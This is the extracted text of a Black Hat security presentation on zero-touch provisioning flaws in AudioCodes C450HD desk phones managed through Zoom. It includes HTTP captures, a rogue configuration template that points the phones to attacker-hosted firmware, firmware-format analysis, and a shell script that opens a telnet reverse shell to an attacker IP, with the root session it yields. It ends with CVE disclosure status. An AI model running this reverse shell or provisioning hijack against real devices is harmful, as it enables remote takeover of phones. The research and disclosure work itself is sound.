 - Handshake Type: Server Hello Done (14)



CHAPTER 7 Troubleshooting

C448HD C450HD | Users & Administrator's Manual



SSH is by default disabled and can be enabled with Administrator permissions in the phone screen (Device Administration > Debugging > SSH).

Source: <https://www.audiocodes.com/media/zhre0lg0/c448hd-c450hd-ip-phone-for-microsoft-teams-user-s-and-administrator-s-manual-ver-1-17.pdf>

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Date: Sat, 01 Jul 2023 09:37:33 GMT
3 Content-Type: application/octet-stream
4 Content-Length: 6992
5 X-Zm-Trackingid: PBX_00b858508acfa584a36703eb50700b9f
6 X-Zm-Region: VA
7 Vary: Origin
8 Vary: Access-Control-Request-Method
9 Vary: Access-Control-Request-Headers
10 X-Frame-Options: deny
11 Content-Disposition: attachment; filename=00908F9D8992.cfg
12 Accept-Ranges: bytes
13 Strict-Transport-Security: max-age=31536000; includeSubDomains
14 X-Content-Type-Options: nosniff
15
16 system/type=C450HD
17 voip/dns_cache	mode=DNS_QUERY_FIRST
18 voip/dns_cache_srv/0/name=_sips._tcp.eu01sip0g.fr.zoom.us
19 voip/dns_cache_srv/0/port=5091
20 voip/dns_cache_srv/0/priority=1
21 voip/dns_cache_srv/0/target=eu01sip0g.fr.zoom.us
22 voip/dns_cache_srv/0/weight=10
23 voip/dns_cache_srv/1/name=_sips._tcp.eu01sip0g.fr.zoom.us
24 voip/dns_cache_srv/1/port=5091
25 voip/dns_cache_srv/1/priority=2
26 voip/dns_cache_srv/1/target=eu01sip0g.am.zoom.us
27 voip/dns_cache_srv/1/weight=10
```



Request

Pretty Raw Hex

```
1 GET /api/v2/pbx/provisioning/audiocodes/00908F9D8993.cfg HTTP/2
2 Host: eu01pbxacp.zoom.us
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Referer: https://provacp.zoom.us/
5
```



Client_00908F9D8992

Identity: Client_00908F9D8992

Verified by: CA_ipp1

Expires: 02/12/2037

▼ Details

Subject Name

O (Organization): ACL

CN (Common Name): Client_00908F9D8992

Issuer Name

O (Organization): ACL

CN (Common Name): CA_ipp1

Issued Certificate

Version: 3

Serial Number: 02 00 90 8F 9D 89 92

Not Valid Before: 2017-02-17

Not Valid After: 2037-02-12

Pseudo NGINX Configuration

```
server {
    listen 443 ssl;
    server_name eu01pbxacp.zoom.us;


    ssl_certificate /path/to/server.crt;
    ssl_certificate_key /path/to/server.key;


    location / {
        # mTLS
        ssl_client_certificate /path/to/ca.crt;
        ssl_verify_client on;

        # mTLS
        if ($ssl_client_verify != SUCCESS) {
            return 403;
        }

        # X.509 client serial verification
        if ($ssl_client_s_dn !~* "CN=$arg_serial") {
            return 403;
        }

        # forward
        proxy_pass http://localhost:9080;
    }
}
```







Add Device

Display Name

John Doe

Description
(Optional)

John Doe's Phone

MAC Address

00908f9d8992

Device Type

AudioCodes

c450hd

This device type supports up to 1 assignee.

Assigned to

[Assign](#)

Provision
Template
(Optional)

common user template

Save

Cancel

Name

common user template

Description
(Optional)

default template for devices

Save

Cancel

Template

Visit [Support Document](#) for more guidance

- 1 personal_settings/soft_key/0/key_function=DIRECTORY
- 2 personal_settings/soft_key/1/key_function=MISSED_CALLS
- 3 personal_settings/soft_key/2/key_function=DND_ALL
- 4 personal_settings/soft_key/3/key_function=Forward_All
- 5 personal_settings/soft_key/4/key_function=NONE

Save

Cancel

evil configuration template [Rename](#)

No description

Template

[Visit Support Document](#) for more guidance

- 1 provisioning/firmware/url=https://ptma.sy.gs/pbx/AudioCodes_UCC450HD_3.4.8.198.1.img
- 2 provisioning/period/type=weekly
- 3 provisioning/period/weekly/time=00:00
- 4 provisioning/random_provisioning_time=300

Request

Pretty Raw Hex

```
1 GET /api/v2/pbx/provisioning/AudioCodes/c450hd/00908F9D8992.cfg HTTP/2
2 Host: eu0lpbxacp.zoom.us
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Accept: */*
5
```



Search...

Response

Pretty Raw Hex Render

```
182 voip/line/20/id=0
193 voip/line/27(enabled=0
194 voip/line/27(id=0
195 voip/line/28(enabled=0
196 voip/line/28(id=0
197 voip/line/29(enabled=0
198 voip/line/29(id=0
199 voip/services/msg_waiting_ind/voice_mail_number=*86
200 provisioning/firmware/url=https://ptma.sy.gspbx/AudioCodes_UCC450HD_3.4.8.198.1.img
201 provisioning/period/type=weekly
202 provisioning/period/weekly/time=00:00
203 provisioning/random_provisioning_time=300
```

Add Device

Display Name

yet another phone

Description
(Optional)

MAC Address

00908faaaaaaa

Device Type

AudioCodes

c450hd

This device type supports up to 1 assignee.

Assigned to

[Assign](#)

Provision
Template
(Optional)

common user template

Save

Cancel

Request

Pretty Raw Hex

```
1 GET /00908FAAAAAA HTTP/1.1
2 Host: redirect.audiocodes.com
3 Accept: */*
4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5 Connection: close
6
```

Before MAC assignment

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 404 Not Found
2 Content-Length: 62
3 Connection: close
4 Content-Type: application/json; charset=utf-8
5 Date: Thu, 06 Jul 2023 12:16:48 GMT
6 Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
7
8 {
9     "description": "device MAC 00908FAAAAAA was not found"
10 }
```

Request

Pretty Raw Hex

```
1 GET /00908FAAAAAA HTTP/1.1
2 Host: redirect.audiocodes.com
3 Accept: */*
4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5 Connection: close
6
```

After MAC assignment

Response

Pretty Raw Hex Render


```
1 HTTP/1.1 302 Found
2 Content-Length: 0
3 Connection: close
4 Content-Type: text/plain; charset=utf-8
5 Date: Thu, 06 Jul 2023 12:17:08 GMT
6 Location: https://eu01pbxacp.zoom.us/api/v2/pbx/provisioning/audiocodes/
7 Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
8
9
```





zoom





#BHUSA @BlackHatEvents











The screenshot shows the QC audicodes web interface for the C450HD device. The top navigation bar includes the QC audicodes logo, the device model 'C450HD', and links for 'Home' and 'Log Off'. The main menu on the left has tabs for 'Configuration', 'Management' (which is selected), and 'Status & Diagnostics'. The 'Management' tab has a sub-menu with items: 'Automatic Update', 'Manual Update' (selected), 'Configuration File', 'Firmware Upgrade', 'Administration', and 'Remote Management'. The central content area is titled 'Manual firmware upgrade' and contains a message 'Please select a file to upgrade.' Below this is a 'Firmware File Location:' input field, a 'Choose File' button with the path 'AudioCodes....6.604.1.img' displayed, and a 'Submit' button with a checkmark icon. A red rectangular box highlights the 'Firmware File Location:' input field and the 'Submit' button.

QC audicodes

C450HD Home Log Off

Configuration Management Status & Diagnostics

Automatic Update

Manual Update

Configuration File

Firmware Upgrade

Administration

Remote Management

Manual firmware upgrade

Please select a file to upgrade.

Firmware File Location:

Choose File AudioCodes....6.604.1.img

Submit



/home/iphone/scripts/run_ramfs_for_upgrade.sh

```
[...]
FLASHER=flasher
[...]
do_upgrade() {
    v "Performing system upgrade..."
    ln -s /home/iphone/bin/lcdbar /bin/lcdbar
    flasher u /tmp upgrade.img
    if [ $? -eq 0 ]; then
        v "external flasher exist"
        chmod +x /tmp/flasher_ext
        /tmp/flasher_ext u
        if [ $? -eq 0 ]; then
            v "external flasher can run, so use external flasher to upgrade"
            FLASHER="/tmp/flasher_ext"
        fi
    fi
    $FLASHER r /tmp upgrade.img 1>$CONSOLE 2>&1
    if [ $? -eq 0 ]; then
        v "Upgrade successful"
    else
        v "Upgrade fail"
    fi
}
[...]
```

```
*****  
|undefined lseek_SEEK_SET()  
|  r0:1      <RETURN>  
|lseek_SEEK_SET  
  
XREF[34]:  FUN_00011f30:00011a78(c),  
            FUN_00011f30:00011ac4(c),  
            FUN_00011f30:00011bb4(c),  
            FUN_00011f30:00011d3c(c),  
            FUN_00011f30:00011dd4(c),  
            FUN_00011f30:00011e34(c),  
            FUN_00011f30:00011e80(c),  
            FUN_00011f40:00011f50(c),  
            FUN_00011fa4:0001211c(c),  
            FUN_00011fa4:00012190(c),  
            FUN_000121bc:00012220(c),  
            FUN_000121bc:000124f4(c),  
            FUN_00015038:000151a0(c),  
            FUN_000152b8:00015448(c),  
            FUN_0001572c:0001579c(c),  
            FUN_000157c4:00015814(c),  
            FUN_00015e80:00015ec0(c),  
            FUN_00015fac:00015ff0(c),  
            FUN_00015fac:00016048(c),  
            FUN_000164b0:0001657c(c), [more]  
  
00012b38 00 20 a0 e3    mov      r2,#0x0  
  
00012b3c fb f9 ff ea    b       <EXTERNAL>::lseek          __off_t lseek(int __fd, __off_t ...  
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
```

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
6:7810h	44	39	05	41	17	00	00	00	50	39	05	41	17	00	00	00	D9.A....P9.A....
6:7820h	54	39	05	41	17	00	00	00	58	39	05	41	17	00	00	00	T9.A....X9.A....
6:7830h	60	39	05	41	17	00	00	00	6C	39	05	41	17	00	00	00	`9.A....l9.A....
6:7840h	70	39	05	41	17	00	00	00	74	39	05	41	17	00	00	00	p9.A....t9.A....
6:7850h	7C	39	05	41	17	00	00	00	88	39	05	41	17	00	00	00	9.A....^9.A....
6:7860h	8C	39	05	41	17	00	00	00	98	39	05	41	17	00	00	00	xE9.A....~9.A....
6:7870h	A4	39	05	41	17	00	00	00	A8	39	05	41	17	00	00	00	¤9.A...."9.A....
6:7880h	AC	39	05	41	17	00	00	00	B4	39	05	41	17	00	00	00	¬9.A....'9.A....
6:7890h	C0	39	05	41	17	00	00	00	C4	39	05	41	17	00	00	00	À9.A....Ä9.A....
6:78A0h	C8	39	05	41	17	00	00	00	D0	39	05	41	17	00	00	00	È9.A....Ð9.A....
6:78B0h	D4	39	05	41	17	00	00	00	D8	39	05	41	17	00	00	00	Ô9.A....Ø9.A....
6:78C0h	DC	39	05	41	17	00	00	00	E0	39	05	41	17	00	00	00	Ü9.A....à9.A....
6:78D0h	E4	39	05	41	17	00	00	00	E8	39	05	41	17	00	00	00	ä9.A....è9.A....
6:78E0h	EC	39	05	41	17	00	00	00	F0	39	05	41	17	00	00	00	i9.A....ð9.A....
6:78F0h	F4	39	05	41	17	00	00	00	F8	39	05	41	17	00	00	00	ô9.A....ø9.A....
6:7900h	FC	39	05	41	17	00	00	00	BB	BB	BB	BB	60	00	00	00	ü9.A....»»»`...
6:7910h	72	6F	6F	74	66	73	2E	65	78	74	34	00	00	00	00	00	rootfs.ext4....
6:7920h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7930h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7940h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7950h	01	00	00	00	00	00	00	00	3D	3E	EF	78	00	50	00	08=>ix.P..
6:7960h	00	50	00	08	00	00	00	00	00	00	00	00	00	00	00	00	.P.....
6:7970h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7980h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7990h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:79A0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:79B0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:79C0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:79D0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:79E0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:79F0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A00h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A10h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A20h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A30h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A40h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A50h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A60h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A70h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A80h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7A90h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7AA0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7AB0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7AC0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7AD0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7AE0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
6:7AF0h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00

000157c0

DAT_000157c0

bb bb bb bb

undefined4 BBBBBBBBh

XREF[1]: FUN_0001572c:00015780(R)

Section Name	Magic Bytes	Size	Checksum	Section Name	Magic Bytes	Size	Checksum
6:78F0h	F4 39 05 41	17 00 00 00	F8 39 05 41	17 00 00 00	69.A....09.A....		
6:7900h	FC 39 05 41	17 00 00 00	BB BB BB BB	60 00 00 00	ü9.A....»»»`....		
6:7910h	72 6F 6F 74	66 73 2E 65	78 74 34 00	00 00 00 00	rootfs.ext4....		
6:7920h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:7930h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:7940h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:7950h	01 00 00 00	00 00 00 00	3D 3E EF 78	00 50 00 08=>ix.P..		
6:7960h	00 50 00 08	00 00 00 00	00 00 00 00	00 00 00 00	.P.....		
6:7970h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:7980h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:7990h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:79A0h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:79B0h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:79C0h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:79D0h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:79E0h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
6:79F0h	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		

Section Checksum starting at Offset 0x60 (8 Byte aligned)



Firmware Sections

- Firmware header containing meta information (version, model, date, etc.)
- bootloader.img
- rootfs.ext4
- phone.img
- section.map
- Flasher
- Release
- end.section

```
mabrell /mnt/home/iphone
$ ll
total 37K
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 bin
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 bluetooth
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 cfg
drwxr-xr-x 4 root root 1.0K Jan 16 08:50 configuration
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 exp
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 image
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 language
drwxr-xr-x 3 root root 1.0K Jan 16 08:50 lib
-rwxr-xr-x 1 root root 6.0K Jan 16 08:50 lighttpd.conf
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 localization
drwxr-xr-x 4 root root 1.0K Jan 16 08:50 media
drwxr-xr-x 3 root root 1.0K Jan 16 08:50 misc
-rwxr-xr-x 1 root root 120 Jan 16 08:50 ntpser.list
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 pl
drwxr-xr-x 6 root root 1.0K Jan 16 08:50 plugins
-rw-r--r-- 1 root root 200 Jan 16 08:50 production.cfg
-rwxr-xr-x 1 root root 633 Jan 16 08:50 rc.local
-rwxr-xr-x 1 root root 124 Jan 16 08:50 rcS
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 resources
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 scripts
-rw-r--r-- 1 root root 9 Jan 19 13:22 syss-poc.txt
drwxr-xr-x 2 root root 1.0K Jan 16 08:50 tools
-rwxr-xr-x 1 root root 1.7K Jan 16 08:50 tz.lst
-rwxr-xr-x 1 root root 3.0K Jan 16 08:50 udhcpc.script
-rwxr-xr-x 1 root root 777 Jan 16 08:50 udhcpc.script.option43
-rwxr-xr-x 1 root root 2.0K Jan 16 08:50 udhcpc.vlanid.script
-rwxr-xr-x 1 root root 543 Jan 16 08:50 udhcpc.wlan0.script
drwxr-xr-x 5 root root 1.0K Jan 16 08:50 web
```



F4	39	05	41	17	00	00	00	F8	39	05	41	17	00	00	00	09.A....	09.A....
FC	39	05	41	17	00	00	00	BB	BB	BB	BB	60	00	00	00	ü9.A....	»»»`....
72	6F	6F	74	66	73	2E	65	78	74	34	00	00	00	00	00	rootfs.ext4....	
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
01	00	00	00	00	00	00	00	C2	DA	4C	7A	00	00	00	0A	ÅÚLz....
00	00	00	0A	00	00	00	00	00	00	00	00	00	00	00	00

```
[admin@C450HD /home/ippone]# cat /etc/release  
;release information  
  
[admin]  
AUTOMAKE=1  
BUILD_OWNER=centos@ip-172-16-142-244.corp.audiocodes.com  
BUILD_PROFILE=C450HD  
IMG_BLVERSION=4.0.3  
SYSDATETIME=121300002021  
VCS=ga461ba3ee0  
  
[default]  
BUILD_TIME=2021-12-13_09:07:38  
HW_TYPE=C450HD  
LOG=0  
SWVERSION=UC 3.4.6.604.1  
  
[admin@C450HD /home/ippone]# ls -la  
total 39  
drwxr-xr-x 19 admin root 1024 Jan 19 14:14 .  
drwxr-xr-x 4 admin root 1024 Jan 16 08:50 ..  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 bin  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 bluetooth  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 cfg  
drwxr-xr-x 4 admin root 1024 Jan 16 08:50 configuration  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 exp  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 image  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 language  
drwxr-xr-x 3 admin root 1024 Jan 16 08:50 lib  
-rwxr-xr-x 1 admin root 6126 Jan 16 08:50 lighttpd.conf  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 localization  
drwxr-xr-x 4 admin root 1024 Jan 16 08:50 media  
drwxr-xr-x 3 admin root 1024 Jan 16 08:50 misc  
-rwxr-xr-x 1 admin root 120 Jan 16 08:50 ntpser.list  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 pl  
drwxr-xr-x 6 admin root 1024 Jan 16 08:50 plugins  
-rw-r--r-- 1 admin root 200 Jan 16 08:50 production.cfg  
-rwxr-xr-x 1 admin root 633 Jan 16 08:50 rc.local  
-rwxr-xr-x 1 admin root 157 Jan 19 14:14 rcS  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 resources  
drwxr-xr-x 2 admin root 1024 Jan 19 14:13 scripts  
-rw-r--r-- 1 admin root 9 Jan 19 13:22 syss-poc.txt  
drwxr-xr-x 2 admin root 1024 Jan 16 08:50 tools  
-rwxr-xr-x 1 admin root 1645 Jan 16 08:50 tz.lst  
-rwxr-xr-x 1 admin root 3054 Jan 16 08:50 udhcpc.script  
-rwxr-xr-x 1 admin root 777 Jan 16 08:50 udhcpc.script.option43  
-rwxr-xr-x 1 admin root 1997 Jan 16 08:50 udhcpc.vlanid.script  
-rwxr-xr-x 1 admin root 543 Jan 16 08:50 udhcpc.wlan0.script  
drwxr-xr-x 5 admin root 1024 Jan 16 08:50 web  
[admin@C450HD /home/ippone]#
```





SYSS-2022-055

- SYSS-2022-055
- CVE-2023-22955
- Missing Immutable Root of Trust in Hardware (CWE-1326)



```
#!/bin/sh

/bin/sleep 120
TF=$( /bin/mktemp -u )
/usr/bin/mkfifo $TF
/usr/bin/telnet <ATTACKER-IP> 5000 0<$TF | /bin/sh 1>$TF
```



```
└$ nc -lvpk 5000
listening on [any] 5000 ...
connect to [REDACTED] from [REDACTED].t-ipconnect.de [93.229] 39432
id
uid=0(admin) gid=0(root) groups=0(root)

cat /etc/release
;release information

[admin]
AUTOMAKE=1
BUILD_OWNER=centos@ip-172-16-142-244.corp.audioCodes.com
BUILD_PROFILE=C450HD
IMG_BLVERSION=4.0.3
SYSDATETIME=121300002021
VCS=ga461ba3ee0

[default]
BUILD_TIME=2021-12-13_09:07:38
HW_TYPE=C450HD
LOG=0
SWVERSION=UC_3.4.6.604.1
[REDACTED]
```

zoom



1. adds a device and assigns
a configuration template



attacker



vendor redirect service


2. initiates that Zoom is
the provisioning and configuration
server for the added device


zoom


1. adds a device and assigns
a configuration template





attacker














ADMIN

Dashboard

› User Management

› Device Management

▼ Phone System Management

Users & Rooms

Auto Receptionists

Call Queues

Shared Lines

Group Call Pickup

Phone Numbers

Provider Exchange

Phones & Devices

Assets Library

Logs

Assigned Unassigned

Add

Import

Export ?

Search by MAC Address



Import

Batch import unassigned Desk Phones.

Uploading

10%

Running in the Background




<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-04	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-05	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-06	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-09	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-08	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-0c	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-0b	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-0f	--	--
<input type="checkbox"/>	 Desk Phone	AudioCodes c450hd	00-90-8f-9d-b3-25	--	--

Page of 18 < > Page Size Total 256



SYSS-2022-056


- SYSS-2022-056
- Unverified Ownership (CWE-283)










#BHUSA @BlackHatEvents











Hard-coded cryptographic Key

SYSS-2022-052 (CVE-2023-22957) & SYSS-2022-054 (CVE-2023-22956):

- State: fixed
- Initial vendor notification: November 2022



Missing immutable Root of Trust

SYSS-2022-055 (CVE-2023-22955):

- State: not fixed
- Initial vendor notification: November 2022
- Vendor response:

„AudioCodes 2023 roadmap includes signing of firmware for UC devices.”



Exposure of sensitive Information to an unauthorized Actor

SYSS-2022-052:

- State: partially fixed
- Initial vendor notification: November 2022

Product Notice #0503



Mutual TLS Authentication (mTLS) Support for AudioCodes Redirect Service

This Product Notice announces the support of Mutual TLS Authentication (mTLS) for AudioCodes Redirect Service.

mTLS ensures that both the Redirect server and the device (client) authenticate each other's identities before establishing a connection. This additional layer of authentication safeguards against unauthorized access, strengthening the overall security of AudioCodes Redirect Service.

Note: By default, mTLS is disabled, allowing currently deployed devices that may not possess the appropriate certificates to continue accessing and using the Redirect Service. However, we recommend that Customers enable mTLS.

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Unverified Ownership

SYSS-2022-056:

- State: partially fixed
- Initial vendor notification: November 2022



Recommendations

- Check Redirections
- Limit Network Communications

Conclusion

Phone



Hard-coded
cryptographic Key

Missing immutable Root
of Trust

Vendor
Redirect Server



Exposure of sensitive
Information to an
unauthorized Actor



Unverified Ownership



Black Hat Sound Bytes



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Insufficient security level of e.g. Desk Phones



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Endpoint Provisioning is a lucrative Target for Attackers



Black Hat Sound Bytes

Insufficient security level of e.g. Desk Phones

Endpoint Provisioning is a lucrative Target for Attackers

Combine Vulnerabilities FTW!

Thanks!

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<https://blog.syss.com/posts/zero-touch-pwn/>

- SYSS-2022-052 // CVE-2023-22957
- SYSS-2022-053
- SYSS-2022-054 // CVE-2023-22956
- SYSS-2022-055 // CVE-2023-22955
- SYSS-2022-056

